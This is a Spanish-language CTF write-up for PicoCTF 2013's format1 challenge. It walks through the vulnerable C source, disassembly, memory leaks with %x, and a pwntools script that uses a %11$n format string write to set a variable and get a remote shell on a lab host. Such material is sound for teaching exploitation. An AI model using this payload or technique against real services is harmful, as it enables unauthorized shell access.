Smashing Rabbit – Format String. Bypass en la estructura de control por escritura en memoria de un valor (IX)

[Resumen]:

Tenemos que explotar format string para obtener una shell. Código:

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int x = 3;

void be_nice_to_people() {
    // /bin/sh is usually symlinked to bash, which usually drops privs. Make
    // sure we don't drop privs if we exec bash, (ie if we call system()).
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

int main(int argc, const char **argv) {
    be_nice_to_people();
    char buf[80];
    bzero(buf, sizeof(buf));
    int k = read(STDIN_FILENO, buf, 80);
    printf(buf);
    printf("%d!\n", x); 
    if (x == 4) {
        printf("running sh...\n");
        system("/bin/sh");
    }
    return 0;
}

[Técnica]:

Format Strings. NX habilitado y Stack Canary. Bypass en la estructura de control por escritura en memoria de un valor en la dirección de memoria de una variable

[Informe]:

Recolección de información

Primero debemos obtener toda la información posible del binario así que debemos realizar reversing y ver alguna vulnerabilidad en el desensamblado. Usando radare2 observamos que tenemos un buffer de 80 bytes y si queremos obtener una shell debemos no hacer cumplir el salto condicional jney que la variable dword obj.x sea igual a 4 para obtener /bin/bash.

0x08048586      c74424085000.  mov dword [local_8h], 0x50  ; 'P' ; [0x50:4]=-1 ; 80
|           0x0804858e      8d44242c       lea eax, dword [local_2ch]  ; 0x2c ; ',' ; 44
|           0x08048592      89442404       mov dword [local_4h], eax
|           0x08048596      c70424000000.  mov dword [esp], 0
|           0x0804859d      e83efeffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x080485a2      89442428       mov dword [local_28h], eax
|           0x080485a6      8d44242c       lea eax, dword [local_2ch]  ; 0x2c ; ',' ; 44
|           0x080485aa      890424         mov dword [esp], eax
|           0x080485ad      e83efeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x080485b2      8b152ca00408   mov edx, dword obj.x        ; [0x804a02c:4]=3
|           0x080485b8      b8e0860408     mov eax, str.d              ; 0x80486e0 ; "%d!\n"
|           0x080485bd      89542404       mov dword [local_4h], edx
|           0x080485c1      890424         mov dword [esp], eax
|           0x080485c4      e827feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x080485c9      a12ca00408     mov eax, dword obj.x        ; [0x804a02c:4]=3
|           0x080485ce      83f804         cmp eax, 4                  ; 4
|       ,=< 0x080485d1      7518           jne 0x80485eb
|       |   0x080485d3      c70424e58604.  mov dword [esp], str.running_sh... ; [0x80486e5:4]=0x6e6e7572 ; "running sh..."
|       |   0x080485da      e841feffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x080485df      c70424f38604.  mov dword [esp], str.bin_sh ; [0x80486f3:4]=0x6e69622f ; "/bin/sh"
|       |   0x080485e6      e845feffff     call sym.imp.system         ; int system(const char *string)

Otra solución sería parchear el binario y en la instrucción cmp eax, 4 cambiar el 4 por el 3.

[0x0804854d]> s 0x080485ce
[0x080485ce]> wa cmp eax, 3
Written 3 byte(s) (cmp eax, 3) = wx 83f803

Lo ejecutamos y tenemos shell.

naivenom@parrot:[~/pwn/format1] $ ./patch 
id
id
3!
running sh...id
uid=1000(naivenom) gid=1000(naivenom) grupos=1000(naivenom),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),106(netdev),111(debian-tor),121(bluetooth),132(scanner)

Pero vamos a explotar el binario sin necesidad de modificarlo, debido a que en la función printf(buf) no existe ningún formato de cadena%s como por ejemplo en la siguiente llamada a la misma función, por lo tanto tenemos total control de volcar algún contenido en memoria. Si ejecutamos el binario y le pasamos testigo de formato %s tenemos una Violacion de Segmento y eso son buenas noticias!.

naivenom@parrot:[~/pwn/format1] $ ./format1 
%s%s
%s%s
Violación de segmento

Ocurre esto debido a que pasamos dos argumentos que en realidad no existen en el código. Estos téstigo de formato son simplemente argumentos que va a recibir la función cuando sea llamada con call siendo unos punteros en el stack que apuntan a una dirección de memoria cuyo contenido sería por ejemplo si es un testigo de formato de tipo cadena %s pues una string.
Por regla general los argumentos que recibe una función pueden ser cadenas, variables o direcciones de memoria. En el stack podemos tener direcciones de memoria o contenido, incluso direcciones de memoria que apuntan a una dirección del stack.

Explotación

Para esta pequeña PoC vamos a enviar un pequeño buffer de AAAA y al final obtenedremos con el valor en hexadecimal de estos valores. Si usamos el testigo de formato %x obtenemos un volcado de la memoria:

naivenom@parrot:[~/pwn/format1] $ ./format1 
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
AAAA.ffc85f5c.00000050.000000c2.00000000.00c30000.00000000.ffc86054.00000000.00000000.00000041.41414141.3830252e
3!

Vemos que al número de argumento 11 obtenemos el contenido en hexadecimal de nuestra cadena.
Ahora el siguiente paso sería encontrar la variable x=3 en la sección data.

[0x0804854d]> px@0x804a02c
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0804a02c  0300 0000 0000 0000 0000 0000 0000 0000  ................

Por último, teniendo la dirección de memoria de la variable de tipo int solo nos hace falta hacer nuestro pequeño exploit y como el salto condicional nos indica que el registro $eax tiene que ser igual a la variable que es == 4, ya lo tenemos hecho!. Solo tenemos que escribir en la memoria usando python por ejemplo con print 4 Bytes, el número de argumentos necesarios hasta llegar en este caso 11 y el testigo de formato %n para escribir un valor entero en esa dirección de memoria de la variable. El valor sería lo que printea, osea 4 Bytes \x2c\xa0\x04\x08.

Obteniendo user shell

El usuario guille esta ejecutando en el servidor un binario vulnerable a format string por el puerto 1234.

$ nc -lvnp 1234 -e ./format1
listening on [any] 1234 ...
connect to [192.168.32.129] from (UNKNOWN) [192.168.32.142] 32850

Ejecutamos nuestro exploit y ganamos acceso como user del servidor.

naivenom@parrot:[~/pwn/format1] $ python exploit.py 
[+] Opening connection to 192.168.32.129 on port 1234: Done
[*] Switching to interactive mode
$ id
uid=998(guille) gid=997(guille) grupos=997(guille)

[Comandos]:

Seguridad del binario.

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

[Exploit Development]:

Exploit remoto.

from pwn import *

p = remote('192.168.32.129', 1234)
exploit = ""
exploit += "\x2c\xa0\x04\x08%11$n"
p.sendline(exploit)

p.interactive()

[URL Reto]:

–FORMAT1 PICO CTF 2013–